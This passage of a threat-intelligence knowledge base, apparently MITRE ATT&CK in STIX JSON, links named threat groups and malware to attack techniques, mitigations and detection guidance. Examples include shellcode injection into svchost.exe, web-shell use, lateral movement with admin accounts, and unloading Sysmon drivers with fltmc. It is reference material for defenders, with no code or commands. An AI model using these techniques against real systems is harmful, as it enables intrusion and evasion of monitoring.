Filtering)","relationship_type":"mitigates","source_ref":"course-of-action--2c2ad92a-d710-41ab-a996-1db143bb4808","target_ref":"attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2dcd9a05-5503-404c-8820-614932f63880","created":"2022-03-30T14:26:51.851Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-14T21:49:36.653Z","description":"Monitor executed commands and arguments that may attempt to block indicators or events typically captured by sensors from being gathered and analyzed. Adversaries may attempt to evade system defenses by unloading minifilter drivers used by host-based sensors such as Sysmon through the use of the fltmc command-line utility. Accordingly, this analytic looks for command-line invocations of this utility when used to unload minifilter drivers.\n","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--74d2a63f-3c7b-4852-92da-02d8fbab16da","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2dcfc7b7-ead5-4996-b70d-205d4f9d59f5","type":"relationship","created":"2020-06-10T18:15:11.806Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Tick November 2019","url":"https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf","description":"Chen, J. et al. (2019, November). Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}],"modified":"2020-06-24T01:27:32.381Z","description":"[BBK](https://attack.mitre.org/software/S0470) has the ability to inject shellcode into svchost.exe.(Citation: Trend Micro Tick November 2019)","relationship_type":"uses","source_ref":"malware--f0fc920e-57a3-4af5-89be-9ea594c8b1ea","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2dd15583-34cd-4b49-a6ba-4bd647b7ff27","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"DFIR Phosphorus November 2021","description":"DFIR Report. (2021, November 15). Exchange Exploit Leads to Domain Wide Ransomware. Retrieved January 5, 2023.","url":"https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/"},{"source_name":"DFIR Report APT35 ProxyShell March 2022","description":"DFIR Report. (2022, March 21). APT35 Automates Initial Access Using ProxyShell. Retrieved May 25, 2022.","url":"https://thedfirreport.com/2022/03/21/apt35-automates-initial-access-using-proxyshell"},{"source_name":"Unit 42 Magic Hound Feb 2017","description":"Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.","url":"https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-03T21:51:53.886Z","description":"[Magic Hound](https://attack.mitre.org/groups/G0059) has used HTTP for C2.(Citation: Unit 42 Magic Hound Feb 2017)(Citation: DFIR Report APT35 ProxyShell March 2022)(Citation: DFIR Phosphorus November 2021)","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2dd1c028-bebc-4631-b17b-3dd27a595c00","type":"relationship","created":"2020-05-27T22:05:32.039Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Sophos Netwalker May 2020","url":"https://news.sophos.com/en-us/2020/05/27/netwalker-ransomware-tools-give-insight-into-threat-actor/","description":"Szappanos, G., Brandt, A.. (2020, May 27). Netwalker ransomware tools give insight into threat actor. Retrieved May 27, 2020."}],"modified":"2020-05-27T22:05:32.039Z","description":"Operators deploying [Netwalker](https://attack.mitre.org/software/S0457) have used psexec to copy the [Netwalker](https://attack.mitre.org/software/S0457) payload across accessible systems.(Citation: Sophos Netwalker May 2020)","relationship_type":"uses","source_ref":"malware--754effde-613c-4244-a83e-fb659b2a4d06","target_ref":"attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2dd33387-a109-46cd-8204-cb79a62e4830","type":"relationship","created":"2020-11-10T16:24:46.847Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye KEGTAP SINGLEMALT October 2020","url":"https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html","description":"Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020."}],"modified":"2020-11-10T16:24:46.847Z","description":"[Wizard Spider](https://attack.mitre.org/groups/G0102) has used administrative accounts, including Domain Admin, to move laterally within a victim network.(Citation: FireEye KEGTAP SINGLEMALT October 2020)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2ddb50ab-4c8e-41e6-ba3f-d7718c66f0d5","created":"2023-07-28T17:51:43.218Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Sygnia Elephant Beetle Jan 2022","description":"Sygnia Incident Response Team. (2022, January 5). TG2003: ELEPHANT BEETLE UNCOVERING AN ORGANIZED FINANCIAL-THEFT OPERATION. Retrieved February 9, 2023.","url":"https://f.hubspotusercontent30.net/hubfs/8776530/Sygnia-%20Elephant%20Beetle_Jan2022.pdf?__hstc=147695848.3e8f1a482c8f8d4531507747318e660b.1680005306711.1680005306711.1680005306711.1&__hssc=147695848.1.1680005306711&__hsfp=3000179024&hsCtaTracking=189ec409-ae2d-4909-8bf1-62dcdd694372%7Cca91d317-8f10-4a38-9f80-367f551ad64d"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-03T13:54:16.192Z","description":"[FIN13](https://attack.mitre.org/groups/G1016) has utilized obfuscated and open-source web shells such as JspSpy, reGeorg, MiniWebCmdShell, and Vonloesch Jsp File Browser 1.2 to enable remote code execution and to execute commands on compromised web server.(Citation: Sygnia Elephant Beetle Jan 2022)","relationship_type":"uses","source_ref":"intrusion-set--fd66436e-4d33-450e-ac4c-f7810f1c85f4","target_ref":"attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2dde02b3-20b9-4709-96b4-02dbb9150577","type":"relationship","created":"2019-09-13T12:51:46.258Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cylance Machete Mar 2017","url":"https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html","description":"The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019."},{"description":"ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019.","url":"https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf","source_name":"ESET Machete July 2019"}],"modified":"2019-10-07T15:02:07.775Z","description":"[Machete](https://attack.mitre.org/groups/G0095) has sent phishing emails that contain a link to an external server with ZIP and RAR archives.(Citation: Cylance Machete Mar 2017)(Citation: ESET Machete July 2019)","relationship_type":"uses","source_ref":"intrusion-set--38863958-a201-4ce1-9dbe-539b0b6804e0","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2dde8a3e-773e-4a7f-82e4-dbcaa8cb94c8","type":"relationship","created":"2021-11-30T20:02:19.626Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Gelsemium June 2021","url":"https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf","description":"Dupuy, T. and Faou, M. (2021, June). Gelsemium. Retrieved November 30, 2021."}],"modified":"2021-11-30T20:02:19.626Z","description":"[Gelsemium](https://attack.mitre.org/software/S0666) can set persistence with a Registry run key.(Citation: ESET Gelsemium June 2021)","relationship_type":"uses","source_ref":"malware--efa7c4d6-8e30-41d9-a8fd-26dc337f4a1b","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2de4d7df-18fc-4202-93ee-2fcfe6f2e501","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html","description":"Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.","source_name":"Talos Group123"}],"modified":"2022-03-22T17:21:33.396Z","description":"[ROKRAT](https://attack.mitre.org/software/S0240) can access the HKLM\\System\\CurrentControlSet\\Services\\mssmbios\\Data\\SMBiosData Registry key to obtain the System manufacturer value to identify the machine type.(Citation: Talos Group123)","relationship_type":"uses","source_ref":"malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2de94367-a058-4a31-b19b-fddebe02ca64","type":"relationship","created":"2021-08-18T18:22:07.898Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA21-200A APT40 July 2021","url":"https://us-cert.cisa.gov/ncas/alerts/aa21-200a","description":"CISA. (2021, July 19). (AA21-200A) Joint Cybersecurity Advisory – Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China’s MSS Hainan State Security Department. Retrieved August 12, 2021."}],"modified":"2021-08-19T16:54:11.433Z","description":"[Leviathan](https://attack.mitre.org/groups/G0065) has collected compromised credentials to use for targeting efforts.(Citation: CISA AA21-200A APT40 July 2021)","relationship_type":"uses","source_ref":"intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e","target_ref":"attack-pattern--bc76d0a4-db11-4551-9ac4-01a469cfb161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2dec6ce1-e459-4266-86d5-f336ab056f17","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT30","description":"FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.","url":"https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"}],"modified":"2020-03-17T00:19:38.029Z","description":"[BACKSPACE](https://attack.mitre.org/software/S0031) is capable of deleting Registry keys, sub-keys, and values on a victim system.(Citation: FireEye APT30)","relationship_type":"uses","source_ref":"malware--fb261c56-b80e-43a9-8351-c84081e7213d","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2df3ee99-0ad3-4da8-b25e-bbb47bb8562c","type":"relationship","created":"2021-08-25T21:30:06.381Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Kobalos Feb 2021","url":"https://www.welivesecurity.com/2021/02/02/kobalos-complex-linux-threat-high-performance-computing-infrastructure/","description":"M.Leveille, M., Sanmillan, I. (2021, February 2). Kobalos – A complex Linux threat to high performance computing infrastructure. Retrieved August 24, 2021."}],"modified":"2021-08-25T21:30:06.381Z","description":"[Kobalos](https://attack.mitre.org/software/S0641) can spawn a new pseudo-terminal and execute arbitrary commands at the command prompt.(Citation: ESET Kobalos Feb 2021) ","relationship_type":"uses","source_ref":"malware--9abdda30-08e0-4ab1-9cf0-d447654c6de9","target_ref":"attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2df6acb7-87cc-49be-9cd6-6adbdfdd773f","type":"relationship","created":"2022-03-30T14:26:51.856Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.856Z","description":"Monitor for the unexpected changes to cloud block storage volumes . To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.","source_ref":"x-mitre-data-component--d46272ce-a0fe-4256-855e-738de7bb63ee","target_ref":"attack-pattern--144e007b-e638-431d-a894-45d90c54ab90","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--2df910df-37cc-4349-96c3-f938fa5a9054","created":"2017-05-31T21:33:27.044Z","x_mitre_version":"1.0","external_references":[{"source_name":"Alperovitch 2014","url":"https://web.archive.org/web/20200424075623/https:/www.crowdstrike.com/blog/deep-thought-chinese-targeting-national-security-think-tanks/","description":"Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting of National Security Think Tanks. Retrieved November 12, 2014."}],"x_mitre_deprecated":false,"revoked":false,"description":"(Citation: Alperovitch 2014)","modified":"2022-07-20T20:10:29.598Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064","target_ref":"tool--03342581-f790-4f03-ba41-e82e67392e23","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2dfbcf5d-8563-440c-bd9c-0cfc15059bd5","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto Shamoon Nov 2016","description":"Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.","url":"http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/"}],"modified":"2019-04-24T23:59:16.370Z","description":"[Shamoon](https://attack.mitre.org/software/S0140) queries several Registry keys to identify hard disk partitions to overwrite.(Citation: Palo Alto Shamoon Nov 2016)","relationship_type":"uses","source_ref":"malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2dfd662a-231a-4b4c-b7e6-b61058fc4494","type":"relationship","created":"2020-09-23T20:30:55.978Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trustwave Pillowmint June 2020","url":"https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/pillowmint-fin7s-monkey-thief/","description":"Trustwave SpiderLabs. (2020, June 22). Pillowmint: FIN7’s Monkey Thief . Retrieved July 27, 2020."}],"modified":"2020-10-06T17:11:59.411Z","description":"[Pillowmint](https://attack.mitre.org/software/S0517) has used the NtQueueApcThread syscall to inject code into svchost.exe.(Citation: Trustwave Pillowmint June 2020)","relationship_type":"uses","source_ref":"malware--bd7a9e13-69fa-4243-a5e5-04326a63f9f2","target_ref":"attack-pattern--7c0f17c9-1af6-4628-9cbd-9e45482dd605","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2dfdc0d8-9d81-41fb-ac7a-d85956ebf27b","type":"relationship","created":"2022-03-30T14:26:51.836Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.836Z","description":"Monitor for newly constructed network connections that are sent or received by untrusted hosts. ","source_ref":"x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba","target_ref":"attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2e03c99d-473d-406e-b903-1fc9c9a6a5ec","created":"2021-11-29T16:31:50.618Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Profero APT27 December 2020","description":"Global Threat Center, Intelligence Team. (2020, December). APT27 Turns to Ransomware. Retrieved November 12, 2021.","url":"https://web.archive.org/web/20210104144857/https://shared-public-reports.s3-eu-west-1.amazonaws.com/APT27+turns+to+ransomware.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T20:05:38.078Z","description":"[RCSession](https://attack.mitre.org/software/S0662) has the ability to execute inside the msiexec.exe process.(Citation: Profero APT27 December 2020)","relationship_type":"uses","source_ref":"malware--03acae53-9b98-46f6-b204-16b930839055","target_ref":"attack-pattern--365be77f-fc0e-42ee-bac8-4faf806d9336","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2e06f20b-d93a-41b2-a5e3-87d1a4800a9f","created":"2024-03-07T19:32:36.298Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-07T19:32:36.298Z","description":"","relationship_type":"subtechnique-of","source_ref":"attack-pattern--561ae9aa-c28a-4144-9eec-e7027a14c8c3","target_ref":"attack-pattern--457c7820-d331-465a-915e-42f85500ccc4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2e07c275-4a34-4249-bbd5-7342ddcfa759","created":"2024-07-19T18:28:19.517Z","revoked":false,"external_references":[{"source_name":"TrendMicro Pikabot 2024","description":"Shinji Robert Arasawa, Joshua Aquino, Charles Steven Derion, Juhn Emmanuel Atanque, Francisrey Joshua Castillo, John Carlo Marquez, Henry Salcedo, John Rainier Navato, Arianne Dela Cruz, Raymart Yambot & Ian Kenefick. (2024, January 9). Black Basta-Affiliated Water Curupira’s Pikabot Spam Campaign. Retrieved July 17, 2024.","url":"https://www.trendmicro.com/en_us/research/24/a/a-look-into-pikabot-spam-wave-campaign.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-19T18:28:19.517Z","description":"[Water Curupira Pikabot Distribution](https://attack.mitre.org/campaigns/C0037) installation via JavaScript will launch follow-on commands via cmd.exe.(Citation: TrendMicro Pikabot 2024)","relationship_type":"uses","source_ref":"campaign--57541e3b-657e-463a-a4ab-ca08d7ea9965","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2e0eb5e4-37a3-435d-bdac-01f72b8cec4c","created":"2020-11-18T19:53:05.573Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cybereason Bazar July 2020","description":"Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9’S DEVELOPMENT CYCLES. Retrieved November 18, 2020.","url":"https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles"},{"source_name":"NCC Group Team9 June 2020","description":"Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020.","url":"https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/"},{"source_name":"CrowdStrike Wizard Spider October 2020","description":"Podlosky, A., Hanel, A. et al. (2020, October 16). WIZARD SPIDER Update: Resilient, Reactive and Resolute. Retrieved June 15, 2021.","url":"https://www.crowdstrike.com/blog/wizard-spider-adversary-update/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T02:55:35.430Z","description":"[Bazar](https://attack.mitre.org/software/S0534) has used XOR, RSA2, and RC4 encrypted files.(Citation: Cybereason Bazar July 2020)(Citation: NCC Group Team9 June 2020)(Citation: CrowdStrike Wizard Spider October 2020)","relationship_type":"uses","source_ref":"malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2e126b9a-f902-4077-963e-64185c9544ff","created":"2023-03-24T21:16:43.935Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Prevailion DarkWatchman 2021","description":"Smith, S., Stafford, M. (2021, December 14). DarkWatchman: A new evolution in fileless techniques. Retrieved January 10, 2022.","url":"https://web.archive.org/web/20220629230035/https://www.prevailion.com/darkwatchman-new-fileless-techniques/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T16:28:39.923Z","description":"[DarkWatchman](https://attack.mitre.org/software/S0673) can modify Registry values to store configuration strings, keylogger, and output of components.(Citation: Prevailion DarkWatchman 2021)","relationship_type":"uses","source_ref":"malware--63686509-069b-4143-99ea-4e59cad6cb2a","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2e13c903-72e3-4ed7-a4b5-8441793a36e6","created":"2024-06-14T20:00:30.038Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA Star Blizzard Advisory December 2023","description":"CISA, et al. (2023, December 7). Russian FSB Cyber Actor Star Blizzard Continues Worldwide Spear-phishing Campaigns. Retrieved June 13, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-341a"},{"source_name":"StarBlizzard","description":"Microsoft Threat Intelligence. (2023, December 7). Star Blizzard increases sophistication and evasion in ongoing attacks. Retrieved February 13, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2023/12/07/star-blizzard-increases-sophistication-and-evasion-in-ongoing-attacks/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-17T19:17:07.615Z","description":"[Star Blizzard](https://attack.mitre.org/groups/G1033) has registered domains using randomized words and with names resembling legitimate organizations.(Citation: CISA Star Blizzard Advisory December 2023)(Citation: StarBlizzard) ","relationship_type":"uses","source_ref":"intrusion-set--9b36c218-4d80-4ec6-a68d-cc2886bbe410","target_ref":"attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2e162cdf-e917-4bc5-a2d2-1623e05d0b61","type":"relationship","created":"2019-06-20T20:53:17.534Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.","url":"https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/","source_name":"ESET Turla PowerShell May 2019"}],"modified":"2019-07-14T21:04:45.420Z","description":"[Turla](https://attack.mitre.org/groups/G0010) RPC backdoors have included local UPnP RPC proxies.(Citation: ESET Turla PowerShell May 2019)\t","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2e165a8a-928e-488e-ad16-afb77a94b460","type":"relationship","created":"2019-01-30T14:26:43.110Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Symantec Security Response. (2018, October 10). Gallmaker: New Attack Group Eschews Malware to Live off the Land. Retrieved November 27, 2018.","url":"https://www.symantec.com/blogs/threat-intelligence/gallmaker-attack-group","source_name":"Symantec Gallmaker Oct 2018"}],"modified":"2019-04-16T14:51:35.307Z","description":"[Gallmaker](https://attack.mitre.org/groups/G0084) obfuscated shellcode used during execution.(Citation: Symantec Gallmaker Oct 2018)","relationship_type":"uses","source_ref":"intrusion-set--2fd2be6a-d3a2-4a65-b499-05ea2693abee","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2e1fb9b9-c5b9-42ca-9a46-afb7b03be48c","created":"2024-08-30T13:44:56.969Z","revoked":false,"external_references":[{"source_name":"TrustedSec OOB Communications","description":"Tyler Hudak. (2022, December 29). To OOB, or Not to OOB?: Why Out-of-Band Communications are Essential for Incident Response. Retrieved August 30, 2024.","url":"https://trustedsec.com/blog/to-oob-or-not-to-oob-why-out-of-band-communications-are-essential-for-incident-response"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-30T13:44:56.969Z","description":"Create plans for leveraging a secure out-of-band communications channel, rather than existing in-network chat applications, in case of a security incident.(Citation: 